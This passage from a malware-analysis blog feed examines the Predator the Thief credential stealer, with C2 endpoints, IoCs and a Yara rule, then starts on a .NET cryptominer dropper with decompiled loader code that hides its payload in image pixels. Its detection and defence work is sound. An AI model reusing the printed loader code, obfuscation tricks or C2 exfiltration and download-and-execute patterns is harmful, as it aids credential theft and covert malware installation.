href="https://thisissecurity.stormshield.com/2018/08/28/acridrain-stealer/"&gt;this article&lt;/a&gt; made by &lt;a href="https://twitter.com/coldshell"&gt;@coldshell&lt;/a&gt; about an example of overview and well detailed.&#10;&#10;As usual, popular Chrome-based &amp;amp; Firefox-based browsers and also Opera are mainly targeted by Predator.&#10;&#10;This is the current official list supported by this stealer :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Amigo&lt;/li&gt;&#10;&#9;&lt;li&gt;BlackHawk&lt;/li&gt;&#10;&#9;&lt;li&gt;Chromium&lt;/li&gt;&#10;&#9;&lt;li&gt;Comodo Dragon&lt;/li&gt;&#10;&#9;&lt;li&gt;Cyberfox&lt;/li&gt;&#10;&#9;&lt;li&gt;Epic Privacy Browser&lt;/li&gt;&#10;&#9;&lt;li&gt;Google Chrome&lt;/li&gt;&#10;&#9;&lt;li&gt;IceCat&lt;/li&gt;&#10;&#9;&lt;li&gt;K-Meleon&lt;/li&gt;&#10;&#9;&lt;li&gt;Kometa&lt;/li&gt;&#10;&#9;&lt;li&gt;Maxthon5&lt;/li&gt;&#10;&#9;&lt;li&gt;Mozilla Firefox&lt;/li&gt;&#10;&#9;&lt;li&gt;Nichrome&lt;/li&gt;&#10;&#9;&lt;li&gt;Opera&lt;/li&gt;&#10;&#9;&lt;li&gt;Orbitum&lt;/li&gt;&#10;&#9;&lt;li&gt;Pale Moon&lt;/li&gt;&#10;&#9;&lt;li&gt;Sputnik&lt;/li&gt;&#10;&#9;&lt;li&gt;Torch&lt;/li&gt;&#10;&#9;&lt;li&gt;Vivaldi&lt;/li&gt;&#10;&#9;&lt;li&gt;Waterfox&lt;/li&gt;&#10;&#9;&lt;li&gt;Etc...&lt;/li&gt;&#10;&lt;/ul&gt;&#10;This one is also using SQLite for extracting data from browsers and using and saved them into a temporary file name "vlmi{lulz}yg.col".&#10;&#10;&lt;img class=" size-full wp-image-370 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-sqlite.webp" alt="sqlite" width="465" height="404" loading="lazy" decoding="async" /&gt;&#10;&#10;So the task is simple :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Stole SQL Browser file&lt;/li&gt;&#10;&#9;&lt;li&gt;Extract data with the help of SQLite and put into a temporary file&lt;/li&gt;&#10;&#9;&lt;li&gt;Then read and save it into a text file with a specific name (for each browser).&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-371 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-cookies.webp" alt="cookies" width="596" height="132" loading="lazy" decoding="async" /&gt;&#10;&#10;When forms data or credentials are found they're saved into two files on the General repository :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;forms.log&lt;/li&gt;&#10;&#9;&lt;li&gt;password.log&lt;/li&gt;&#10;&#9;&lt;li&gt;cards.log&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-372 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-general.webp" alt="General" width="594" height="127" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Discord&lt;/h3&gt;&#10;If discord is detected on the machine, the stealer will search and copy the "https_discordapp_*localstorage" file into the "ptst" folder. This file contains all sensitive information about the account and could permit some authentication without a prompt login if this one is pushed into the correct directory of the attacker machine.&#10;&#10;&lt;img class="alignnone size-full wp-image-341" src="https://fumik0.com/wp-content/uploads/2018/10/predator-discord-part1.webp" alt="The life cycle of Predator the thief" width="489" height="109" loading="lazy" decoding="async" /&gt;&lt;img class="alignnone size-full wp-image-342" src="https://fumik0.com/wp-content/uploads/2018/10/predator-discord-part2.webp" alt="The life cycle of Predator the thief" width="569" height="128" loading="lazy" decoding="async" /&gt;&lt;img class="alignnone size-full wp-image-343" src="https://fumik0.com/wp-content/uploads/2018/10/predator-discord-part3.webp" alt="The life cycle of Predator the thief" width="395" height="129" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Predator is inspecting multiple places...&lt;/h3&gt;&#10;This stealer is stealing data from 3 strategical folders :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Desktop&lt;/li&gt;&#10;&#9;&lt;li&gt;Downloads&lt;/li&gt;&#10;&#9;&lt;li&gt;Documents&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Each time, the task will be the same, it will search 4 type of files with the help of &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-getfileattributesa"&gt;GetFileAttributesA&lt;/a&gt; :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;*.doc&lt;/li&gt;&#10;&#9;&lt;li&gt;*.docx&lt;/li&gt;&#10;&#9;&lt;li&gt;*.txt&lt;/li&gt;&#10;&#9;&lt;li&gt;*.log&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="gallery"&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-doc.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-doc.webp" alt="Disassembly showing the *.doc extension check" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-docx.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-docx.webp" alt="Disassembly showing the *.docx extension check" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-log.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-log.webp" alt="Disassembly showing the *.log extension check" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-txt.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-txt.webp" alt="Disassembly showing the *.txt extension check" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;/div&gt;&#10;&#10;When it matches, they have copied into a folder named "Files".&#10;&lt;h3&gt;Information.log&lt;/h3&gt;&#10;When tasks are done, the malware starts generating a summarize file, who contains some specific and sensitive data from the machine victim beside the file "Information.log". For DFIR, this file is the artifact to identify the name of the malware because it contains the name and the specific version.&#10;&#10;So first, it writes the Username of the user that has executed the payload, the computer name, and the OS Version.&#10;&lt;pre&gt;User name: lolilol&#10;Machine name: Computer &#10;OS version: Windoge 10&lt;/pre&gt;&#10;Then copy the content of the clipboard with the help of &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getclipboarddata"&gt;GetClipBoardData&lt;/a&gt;&#10;&lt;pre&gt;Current clipboard: &#10;-------------- &#10;Omelette du fromage&lt;/pre&gt;&#10;Let's continue the process...&#10;&lt;pre&gt;Startup folder: C:\Users\lolilol\AppData\Local\Temp\predator.exe&lt;/pre&gt;&#10;Some classic specification about the machine is requested and saved into the file.&#10;&lt;pre&gt;CPU info: Some bad CPU | Amount of kernels: 128 (Current CPU usage: 46.112917%) &#10;GPU info: Fumik0_ graphical display &#10;Amount of RAM: 12 GB (Current RAM usage: 240 MB) &#10;Screen resolution: 1900x1005&lt;/pre&gt;&#10;Then, all the user accounts are indicated&#10;&lt;pre&gt;Computer users: &#10;lolilol &#10;Administrator &#10;All Users &#10;Default &#10;Default User &#10;Public&lt;/pre&gt;&#10;The last part is about some exotics information that is quite awkward in fact... Firstly, for some reasons that I don't want to understand, there is the compile time hardcoded on the payload.&#10;&#10;&lt;img class=" size-full wp-image-361 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-compile-time.webp" alt="Compile Time" width="591" height="532" loading="lazy" decoding="async" /&gt;&#10;&#10;Then the second exotic data saved into &lt;em&gt;&lt;strong&gt;Information.log&lt;/strong&gt;&lt;/em&gt; is the grabbing execution time for stealing contents from the machine... This information could be useful for debugging some tweaks with the features.&#10;&lt;pre&gt;Additional information:&#10;Compile time: Aug 31 2018&#10;Grabbing time: 0.359375 second(s)&lt;/pre&gt;&#10;&lt;h3&gt;C2 Communications&lt;/h3&gt;&#10;For finishing the information.log, a GET request is made for getting some network data about the victim...&#10;&#10;First, it set up the request by uncovered some Data like :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;A user-agent&lt;/li&gt;&#10;&#9;&lt;li&gt;The content-type&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-365" src="https://fumik0.com/wp-content/uploads/2018/10/predator-ua.webp" alt="Disassembly loading the request headers onto the stack: Content-Type: text/html and User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0" width="780" height="286" loading="lazy" decoding="async" /&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;The API URL ( /api/info.get )&lt;/li&gt;&#10;&lt;/ul&gt;&#10;We can have for example this result :&#10;&lt;pre&gt;Amsterdam;Netherlands;52.3702;4.89517;51.15.43.205;Europe/Amsterdam;1012;&lt;/pre&gt;&#10;When the request is done, the data is consolidated step by step with the help of different loops and conditions.&#10;&#10;&lt;img class="alignnone size-full wp-image-366" src="https://fumik0.com/wp-content/uploads/2018/10/predator-get01.webp" alt="GET01" width="1634" height="416" loading="lazy" decoding="async" /&gt;&#10;&#10;When the task is done, there are saved into Information.log&#10;&lt;pre&gt;City: Nopeland &#10;Country: NopeCountry&#10;Coordinates: XX.XXXX N, X.XXXX W &#10;IP: XXX.XXX.XXX.XXX &#10;Timezone: Nowhere &#10;Zip code: XXXXX&lt;/pre&gt;&#10;The Archive is not complete, it only needs for the stealer to send it to the C2.&#10;&#10;&lt;img class="aligncenter size-full wp-image-354" src="https://fumik0.com/wp-content/uploads/2018/10/predator-zpar-zip.webp" alt="zpar.zip" width="446" height="190" loading="lazy" decoding="async" /&gt;&#10;&#10;So now it set up some pieces of information into the gate.get request with specifics arguments, from p1 to p7, for example :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;p1: Number of accounts stolen&lt;/li&gt;&#10;&#9;&lt;li&gt;p2: Number of cookies stolen&lt;/li&gt;&#10;&#9;&lt;li&gt;p4: Number of forms stolen&lt;/li&gt;&#10;&#9;&lt;li&gt;etc...&lt;/li&gt;&#10;&lt;/ul&gt;&#10;results :&#10;&#10;&lt;img class="alignnone size-full wp-image-367" src="https://fumik0.com/wp-content/uploads/2018/10/predator-request.webp" alt="Request" width="937" height="127" loading="lazy" decoding="async" /&gt;&#10;&#10;The POST request is now complete, the stealer will clean everything and quit.&#10;&#10;&lt;figure&gt;&lt;img class="alignnone size-full wp-image-373" src="https://fumik0.com/wp-content/uploads/2018/10/predator-panel-c2-example.webp" alt="Example of Predator C2 Panel with fancy background..." width="830" height="589" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;Example of Predator C2 Panel with fancy background...&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;h2&gt;Update - v2.3.7&lt;/h2&gt;&#10;So during the analysis,  new versions were pushed... Currently (at the time where this post was redacted), the v3 has been released, but without possession of this specific version, I won't talk anything about it and will me be focus only on the 2.3.7.&#10;&#10;It's useless to review from scratch, the mechanic of this stealer is still the same, just some tweak or other arrangements was done for multiple purposes... Without digging too much into it, let's see some changes (not all) that I found interesting.&#10;&#10;&lt;figure&gt;&lt;img class="alignnone size-full wp-image-377" src="https://fumik0.com/wp-content/uploads/2018/10/predator-changelog.webp" alt="changelog" width="1281" height="544" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;Changelog of v2.3.7 explained by the author&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;As usual, this is the same patterns :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Code optimizations (Faster / Lightweight)&lt;/li&gt;&#10;&#9;&lt;li&gt;More features...&lt;/li&gt;&#10;&lt;/ul&gt;&#10;As you can see v2.3.7 on the right is much longer than v2.3.5 (left), but the backbone is still the same.&#10;&#10;&lt;div class="gallery"&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-old.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-old.webp" alt="Control-flow graph of a function in Predator v2.3.5" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-new.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-new.webp" alt="Same function in Predator v2.3.7, longer than in v2.3.5" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;/div&gt;&#10;&lt;h3&gt;Mutex&lt;/h3&gt;&#10;On 2.3.7,  A mutex is integrated with a specific string called "SyystemServs"&#10;&#10;&lt;div class="gallery"&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-mutex-creation.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-mutex-creation.webp" alt="Mutex creation code using the SyystemServs name" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2018/10/predator-mutex-name.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2018/10/predator-mutex-name.webp" alt="SyystemServs mutex name string in the binary" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;/div&gt;&#10;&lt;h3&gt;Xor / Obfuscated Strings&lt;/h3&gt;&#10;&lt;img class=" size-full wp-image-349 alignleft" src="https://fumik0.com/wp-content/uploads/2018/10/predator-xor-v2.webp" alt="Screenshot: XOR v2" width="162" height="632" loading="lazy" decoding="async" /&gt;&#10;&#10;During the C2 requests, URL arguments are generated byte per byte and unXOR.&#10;&#10;For example :&#10;&lt;pre&gt;&lt;strong&gt;&lt;span&gt;push&lt;/span&gt; &lt;span style="color: #ff6600;"&gt;04&lt;/span&gt;&lt;/strong&gt;&#10;...&#10;&lt;span&gt;&lt;strong&gt;push&lt;/strong&gt;&lt;/span&gt; &lt;span style="color: #ff6600;"&gt;&lt;strong&gt;61&lt;/strong&gt;&lt;/span&gt;&#10;...&#10;&lt;strong&gt;&lt;span&gt;push&lt;/span&gt;&lt;/strong&gt; &lt;span style="color: #ff6600;"&gt;&lt;strong&gt;70&lt;/strong&gt;&lt;/span&gt;&#10;...&lt;/pre&gt;&#10;&lt;pre&gt;&lt;em&gt;leads to this&lt;/em&gt; &lt;strong&gt;&#10;HEX&lt;/strong&gt; : 046170692F676174652E6765743F70313D&#10;&lt;strong&gt;STRING&lt;/strong&gt; : .api/gate.get?p1=&lt;/pre&gt;&#10;This is basic and simple but enough to just slow down the review of the strings. but at least, it's really easy to uncover it, so it doesn't matter.&#10;&#10;This tweak by far is why the code is much longer than v2.3.5.&#10;&lt;h3&gt;Loader&lt;/h3&gt;&#10;Not seen before (as far I saw), it seems on 2.3.7, it integrates a loader feature to push another payload on the victim machine, easily recognizable with the adequate GET Request&#10;&lt;pre&gt;/api/download.get&lt;/pre&gt;&#10;The API request permits to the malware to get an URL into text format. Then Download and saved it into disk and execute it with the help of &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/shellapi/nf-shellapi-shellexecutea"&gt;ShellExecuteA&lt;/a&gt;&#10;&#10;&lt;img class="alignnone size-full wp-image-362" src="https://fumik0.com/wp-content/uploads/2018/10/predator-loader.webp" alt="Loader" width="1131" height="648" loading="lazy" decoding="async" /&gt;&#10;&#10;There also some other tweaks, but it's unnecessary to detail on this review, I let you this task by yourself if you are curious :)&#10;&lt;h2&gt;IoC&lt;/h2&gt;&#10;v2.3.5&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;299f83d5a35f17aa97d40db667a52dcc | Sample Packed&lt;/li&gt;&#10;&#9;&lt;li&gt;3cb386716d7b90b4dca1610afbd5b146 | Sample Unpacked&lt;/li&gt;&#10;&#9;&lt;li&gt;kent-adam.myjino.ru | C2 Domain&lt;/li&gt;&#10;&lt;/ul&gt;&#10;v2.3.7&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt; cbcc48fe0fa0fd30cb4c088fae582118 | Sample Unpacked&lt;/li&gt;&#10;&#9;&lt;li&gt; denbaliberdin.myjino.ru | C2 Domain&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;HTTP Patterns&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;GET    -   /api/info.get&lt;/li&gt;&#10;&#9;&lt;li&gt;POST  -  /api//gate.get?p1=X&amp;amp;p2=X&amp;amp;p3=X&amp;amp;p4=X&amp;amp;p5=X&amp;amp;p6=X&amp;amp;p7=X&lt;/li&gt;&#10;&#9;&lt;li&gt;GET    -  /api/download.get&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;MITRE ATT&amp;amp;CK&lt;/h2&gt;&#10;&lt;h3&gt;v2.3.5&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Discovery - Peripheral Device Discovery&lt;/li&gt;&#10;&#9;&lt;li&gt;Discovery - System Information Discovery&lt;/li&gt;&#10;&#9;&lt;li&gt;Discovery - System Time Discovery&lt;/li&gt;&#10;&#9;&lt;li&gt;Discovery - Query Registry&lt;/li&gt;&#10;&#9;&lt;li&gt;Credential Access - Credentials in Files&lt;/li&gt;&#10;&#9;&lt;li&gt;Exfiltration - Data Compressed&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;v2.3.7&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Discovery - Peripheral Device Discovery&lt;/li&gt;&#10;&#9;&lt;li&gt;Discovery - System Information Discovery&lt;/li&gt;&#10;&#9;&lt;li&gt;Discovery - System Time Discovery&lt;/li&gt;&#10;&#9;&lt;li&gt;Discovery - Query Registry&lt;/li&gt;&#10;&#9;&lt;li&gt;Credential Access - Credentials in Files&lt;/li&gt;&#10;&#9;&lt;li&gt;Exfiltration - Data Compressed&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;strong&gt;Execution -  Execution through API&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Author / Threat Actor&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&#10;&lt;div class="message-userDetails-top"&gt;&#10;&lt;h4 class="message-name"&gt;Alexuiop1337&lt;/h4&gt;&#10;&lt;/div&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Yara Rule&lt;/h2&gt;&#10;&lt;pre&gt;rule Predator_The_Thief : Predator_The_Thief {&#10; meta:&#10; description = "Yara rule for Predator The Thief v2.3.5 &amp;amp; +"&#10; author = "Fumik0_"&#10; date = "2018/10/12"&#10; update = "2018/12/19"&#10;&#10; strings:&#10; $mz = { 4D 5A }&#10;&#10; // V2&#10; $hex1 = { BF 00 00 40 06 } &#10; $hex2 = { C6 04 31 6B }&#10; $hex3 = { C6 04 31 63 }&#10; $hex4 = { C6 04 31 75 }&#10; $hex5 = { C6 04 31 66 }&#10; &#10; $s1 = "sqlite_" ascii wide&#10; &#10; // V3&#10; $x1 = { C6 84 24 ?? ?? 00 00 8C } &#10; $x2 = { C6 84 24 ?? ?? 00 00 1A } &#10; $x3 = { C6 84 24 ?? ?? 00 00 D4 } &#10; $x4 = { C6 84 24 ?? ?? 00 00 03 } &#10; $x5 = { C6 84 24 ?? ?? 00 00 B4 } &#10; $x6 = { C6 84 24 ?? ?? 00 00 80 }&#10; &#10; condition:&#10; $mz at 0 and &#10; ( ( all of ($hex*) and all of ($s*) ) or (all of ($x*)))&#10;}&lt;/pre&gt;&#10;&amp;nbsp;&#10;&lt;h2&gt;Recommendations&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li style="text-align: justify;"&gt;Always running stuff inside a VM, be sure to install a lot of stuff linked to the hypervisor (like Guest Addons tools)  to trigger as much as possible all kind of possible Anti-VM detection and closing malware. When you have done with your activities stop the VM and restore it a Specific clean snapshot when it's done.&lt;/li&gt;&#10;&#9;&lt;li&gt;Avoid storing files at a pre-destined path (Desktop, Documents, Downloads), put at a place that is not common.&lt;/li&gt;&#10;&#9;&lt;li style="text-align: justify;"&gt;Avoiding Cracks and other stupid fake hacks, stealers are usually behind the current game trendings (especially in those times with Fortnite...).&lt;/li&gt;&#10;&#9;&lt;li&gt;Use containers for software that you are using, this will reduce the risk of stealing data.&lt;/li&gt;&#10;&#9;&lt;li&gt;Flush your browser after each visit, never saved your passwords directly on your browser or using auto-fill features.&lt;/li&gt;&#10;&#9;&lt;li&gt;Don't use the same password for all your websites (use 2FA and it's possible), we are in 2018, and this still sadly everywhere like this.&lt;/li&gt;&#10;&#9;&lt;li&gt;Make some noise with your data, that will permit to lose some attacker minds to find some accurate values into the junk information.&lt;/li&gt;&#10;&#9;&lt;li&gt;Use a Vault Password software.&lt;/li&gt;&#10;&#9;&lt;li style="text-align: justify;"&gt;&lt;strong&gt;Troll/Not Troll:&lt;/strong&gt; Learn Russian and put your keyboard in Cyrillic :)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Conclusion&lt;/h2&gt;&#10;Stealers are not sophisticated malware, but they are enough effective to make some irreversible damage for victims. Email accounts and other credentials are more and more impactful and this &lt;a href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/what-do-hackers-do-with-your-stolen-identity"&gt;will be worse with the years&lt;/a&gt;. Behaviors must changes for the account management to limit this kind of scenario. Awareness and good practices are the keys and this will not be a simple security software solution that will solve everything.&#10;&#10;Well for me I've enough work, it's time to sleep a little...&#10;&#10;&lt;img class=" wp-image-305 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/10/predator-himouto-habits.webp" alt="Himouto Habits" width="665" height="374" loading="lazy" decoding="async" /&gt;&#10;&#10;#HappyHunting&#10;&#10;Update 2018-10-23 : Yara Rules now working also for v3&#10;</description></item><item><title>Some fun with a miner</title><link>https://fumik0.com/2018/05/21/some-fun-with-a-miner/</link><pubDate>Mon, 21 May 2018 08:39:17 +0000</pubDate><guid>https://fumik0.com/2018/05/21/some-fun-with-a-miner/</guid><description>A few weeks ago I came across a malware that gave me some interests to dig more into it. It has a curious way to deploy itself, set up a miner on the machine and hide it behind some legit processes.&#10;&#10;In an example, when we look at Process Hacker :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Visual Basic Compiler is launched without reasons&lt;/li&gt;&#10;&#9;&lt;li&gt;An awkward child process "Notepad.exe" is consuming a lot of CPU&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-217" src="https://fumik0.com/wp-content/uploads/2018/05/miner-process-hacker.webp" alt="Screenshot: Process hacker" width="900" height="289" loading="lazy" decoding="async" /&gt;&#10;&#10;At first glance, my first thought was "What the heck is going on there ?"&#10;&lt;h2&gt;First stage&lt;/h2&gt;&#10;All begin with a sample available at this address :&#10;&lt;pre&gt;hxxp://netload.trade/ghghdshch130.exe&lt;/pre&gt;&#10;This is a .NET application and starts at this EntryPoint :&#10;&lt;pre&gt;static void StatusBarPanelCollection(string[] args) {&#10;&#9;ToolStripItemEventArgs.ExprVisitorBase().EntryPoint.Invoke(null, null);&#10;}&#10;&lt;/pre&gt;&#10;The first thing called behind is an Assembly method named ExprVisitorBase().&#10;&lt;pre&gt;public static Assembly ExprVisitorBase() {&#10; CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider();&#10; CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(new CompilerParameters&#10; {&#10; IncludeDebugInformation = true,&#10; GenerateExecutable = false,&#10; GenerateInMemory = true,&#10; IncludeDebugInformation = true,&#10; ReferencedAssemblies = &#10; {&#10; string.Format(.POasdIsd("U3lzdGVtLkRyYXdpbmcuZGxs"), new object[0])&#10; },&#10; CompilerOptions = string.Format(.POasdIsd("L29wdGltaXplKyAvcGxhdGZvcm06WDg2IC9kZWJ1ZysgL3RhcmdldDp3aW5leGU="), new object[0])&#10; }, new string[]&#10; {&#10; ToolStripItemEventArgs.SizeSoapParameterAttribute.Replace(string.Format(.POasdIsd("I3Jlc25hbWUj"), new object[0]), &#10; .POasdIsd("ekp5blhVaktUbFpw")).Replace(string.Format(.POasdIsd("I3Bhc3Mj"), new object[0]), .POasdIsd("VVVlb0NvaXBHdVZj"))&#10; });&#10; return compilerResults.CompiledAssembly;&#10;}&#10;&lt;/pre&gt;&#10;This program is going to programmatically compile some code. Indeed, it is possible in .NET to access to the C# compiler with the help of the CSharpCodeProvider class. The call to &lt;span class="text-base"&gt;CompileAssemblyFromSource&lt;/span&gt; is where the assembly gets compiled. This method takes the parameters object (CompilerParameters) and the source code, which is a string.&#10;&#10;First, if we look deeper into the CompilerParameters object, the configuration let us understand that the new program will be a DLL file and there will be no trace on disk. It will require a specific reference to being able to work, but the string is obfuscated and required "POasdIsd" to be decoded.&#10;&lt;pre&gt;internal class &#10;{&#10; &#9;public static string POasdIsd(string string_0)&#10;&#9;{&#10;&#9;&#9;byte[] bytes = Convert.FromBase64String(string_0);&#10;&#9;&#9;return Encoding.UTF8.GetString(bytes);&#10;&#9;}&#10;}&#10;&lt;/pre&gt;&#10;It's easy to understand "POasdIsd" is just a Base64decode function, and our encoded string is, in fact, the word "System.Drawing.dll". So this means, this reference is required to compile the source code.&#10;&#10;If we continue the analysis, it sets some compiler argument. decoded, this will be compiled in debug mode for an x86 platform :&#10;&lt;pre&gt;/optimize+ /platform:X86 /debug+ /target:winexe&lt;/pre&gt;&#10;So now, the only thing needed is the source code and it's stored in the variable SizeSoapParameterAttribute, which is of course also obfuscated by a Base64 encoding and additionally encrypted with a XOR key (5).&#10;&lt;pre&gt;public static string SizeSoapParameterAttribute = &#10; ToolStripItemEventArgs.ASSEMBLY_FLAGS(&#10; .POasdIsd("cHZsa2IlVnx2c ... D4ID3gPeCUID3g="), 5&#10;);&lt;/pre&gt;&#10;If we place some breakpoint on the debugger we can see step by step, the generated c# source code&#10;&#10;&lt;figure&gt;&lt;img class="alignnone size-full wp-image-146" src="https://fumik0.com/wp-content/uploads/2018/04/miner-generating-cs.webp" alt="Give me my source code, please..." width="854" height="387" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;&lt;em&gt;Give me my source code, please...&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;&#10;When everything is done, the compilation could be done. We can see that with Process Monitor.&#10;&lt;figure&gt;&lt;img class="alignnone size-full wp-image-200" src="https://fumik0.com/wp-content/uploads/2018/05/miner-procmon.webp" alt="Process Monitor output showing the generated executable" width="1301" height="64" loading="lazy" decoding="async" /&gt;&lt;/figure&gt;&#10;&lt;h2&gt;Second stage&lt;/h2&gt;&#10;At this state, the DLL is compiled and loaded on memory. No need to extract and decompiled it because we have the code! So if we look deeper into it, this file contains a lot of spaghetti code, but the main class is easy to find.&#10;&#10;&lt;img class=" size-full wp-image-152 alignnone" src="https://fumik0.com/wp-content/uploads/2018/04/miner-second-code.webp" alt="So at the end, you are here..." width="402" height="332" loading="lazy" decoding="async" /&gt;&#10;&#10;When we rename some function, it's clearer to understand the goal of this library.&#10;&lt;pre&gt;private static string xorKey = "UUeoCoipGuVc";&#10;private static byte[] Payload;&#10;&#10;...&#10;&#10;private static void Main()&#10;{&#10; try&#10; {&#10; IntPtr hResInfo = Program.FindResource(new IntPtr(0), new IntPtr(138), new IntPtr(23));&#10; uint size = Program.SizeofResource(new IntPtr(0), hResInfo);&#10; IntPtr hResData = Program.LoadResource(new IntPtr(0), hResInfo);&#10; IntPtr source = Program.LockResource(hResData);&#10; Program.Payload = new byte[size];&#10; Marshal.Copy(source, Program.Payload, 0, Convert.ToInt32(num));&#10; Program.Payload = Program.XOR(Program.ConvertFromBmp(Program.Byte2Image(Program.Payload)));&#10; Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader));&#10; thread.Start();&#10; }&#10; catch&#10; {&#10; }&#10;}&#10;&lt;/pre&gt;&#10;So when it's loaded into memory. It will request an HTML resource (IntPtr(23) is &lt;strong class=""&gt;RT_HTML&lt;/strong&gt;) of the main program, so if you debug this DLL on DNspy, it will crash because it will target a resource that does not exist on it. So let's go back a bit on "ghghdshch130.exe" and inspect .rsrc. We have a curious file with named 138 (which is the Resource ID)&#10;&#10;&lt;img class="alignnone size-full wp-image-167" src="https://fumik0.com/wp-content/uploads/2018/05/miner-138-rt.webp" alt="138 RT" width="791" height="196" loading="lazy" decoding="async" /&gt;&#10;&#10;So if we inspect it, this is a PNG file, with a &lt;span class="s1"&gt;461 x 461 dimension, 8-bit/color RGBA, non-interlaced.&lt;/span&gt;&#10;&#10;&lt;img class="aligncenter size-full wp-image-169" src="https://fumik0.com/wp-content/uploads/2018/05/miner-so-end-you-here.webp" alt="So at the end, you are here..." width="385" height="367" loading="lazy" decoding="async" /&gt;&#10;&#10;So now lets the magic happen... With the code seen as above, this image is converted into a byte array and then again into an image (Bitmap format). The main reason here,  its to be able to use ConvertFromBmp, the most important function of the DLL file. The goal is to reorganized properly into memory, the different sections of the payload with the help of BlockCopy. So it will copy pixel per pixel on the correct destination offset with a 4 bytes buffer each time.&#10;&#10;I clean the code to understand clearly the steps.&#10;&lt;pre&gt;private static byte[] ConvertFromBmp(Bitmap imageFile) { &#10; int width = imageFile.Width; &#10; int correctSize = width * width * 4; &#10; byte[] correctOffset = new byte[correctSize]; &#10; int size = 0; &#10; for (int x = 0; x &amp;lt; width; x++) { &#10; for (int y = 0; y &amp;lt; width; y++) { &#10; Buffer.BlockCopy(BitConverter.GetBytes(imageFile.GetPixel(x, y).ToArgb()), 0, correctOffset, size, 4); &#10; size += 4; &#10; } &#10; }&#10;&#10; int finalSize = BitConverter.ToInt32(array, 0); &#10; byte[] XorPayload = new byte[finalSize]; &#10; Buffer.BlockCopy(correctOffset, 4, XorPayload, 0, XorPayload.Length); &#10; &#10; return XorPayload; &#10;}&lt;/pre&gt;&#10;So now, our payload is almost done, it has just be decrypted 